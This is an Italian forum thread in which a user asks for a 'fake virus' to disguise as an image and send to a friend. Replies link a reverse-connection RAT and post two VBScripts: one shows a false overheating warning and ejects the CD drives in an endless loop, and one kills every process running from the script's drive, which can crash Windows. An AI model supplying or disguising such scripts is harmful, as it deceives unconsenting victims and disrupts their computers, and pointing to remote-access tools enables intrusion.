Thread obsoleto Falso Virus richiesta

[re-habbo]

Salve a tutti ragazzi non so se la sezione è giusta ma mi smbrava la più opportuna :soso:

Allora mi serviva un finto virus in modo da fare uno scherzetto serio al mio amico cosi la pagaaaaaaaaaaaaaaaaaaa >.< muahsua


quello che immaginavo era camuffare il finto virus in un immagini cosi appena invio l'immagine al mio amico e lui la apriva ecco che parte il finto virus

volevo che usciva un promt con scritto ad esmpio attenzione il computer e stato affetto da un virus trojan


e qualcosa scritta che lo possa fare spaventare magari in inglese


e dopo circa 2 minuti il computer il computer si dovrebbe riavviare a magari anche qualche aggiunzione





aiutatermi grazie

fatemi ridere al massimo xD E datemi belle notizie

se non ce niente di questo genere trovatemi qualcosa simile grazie 100000

 

[#Gigius]

Eccotene uno: http://www.sciax2.it/forum/visual-basic/zip-r3v3rs3-piccolo-rat-usa-connessione-reverse-250555.html
Ce ne sono tanti nel forum, basta usare il tasto cerca. ;)

 

[re-habbo]

si Gig e possibile che devo usare il tasto cerca ma non lo uso quando non so cosa devo cercare o_O

comunque sicuro che non gli danneggio il pc e se puoi mi spieghi che devo fare

 

[Jollyman]

Il primo l'ho trovato sul forum e il secondo l'ho fatto io

C'è questo da copiare e salvare in .vbs


lol=msgbox("Il CD-ROM si sta surriscaldando.Si aprirà automaticamente per liberare il CD o DVD ostaggio(se è stato inserito)per evitare esplosioni o danni",16,"Pericolo!")
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
do
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If



e questo



strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
penletter=Lcase(mid(wscript.scriptfullname,1,1))
'wscript.echo "driveletter=" +penletter
Set colProcesses = objWMIService.ExecQuery _
("Select * from Win32_Process where Name<>'lsass.exe'")
For Each objProcess in colProcesses
if Lcase(mid(objProcess.ExecutablePath,1,1))=penletter then
objProcess.Terminate
end if
Next



sempre da salvare in .vbs con il notepad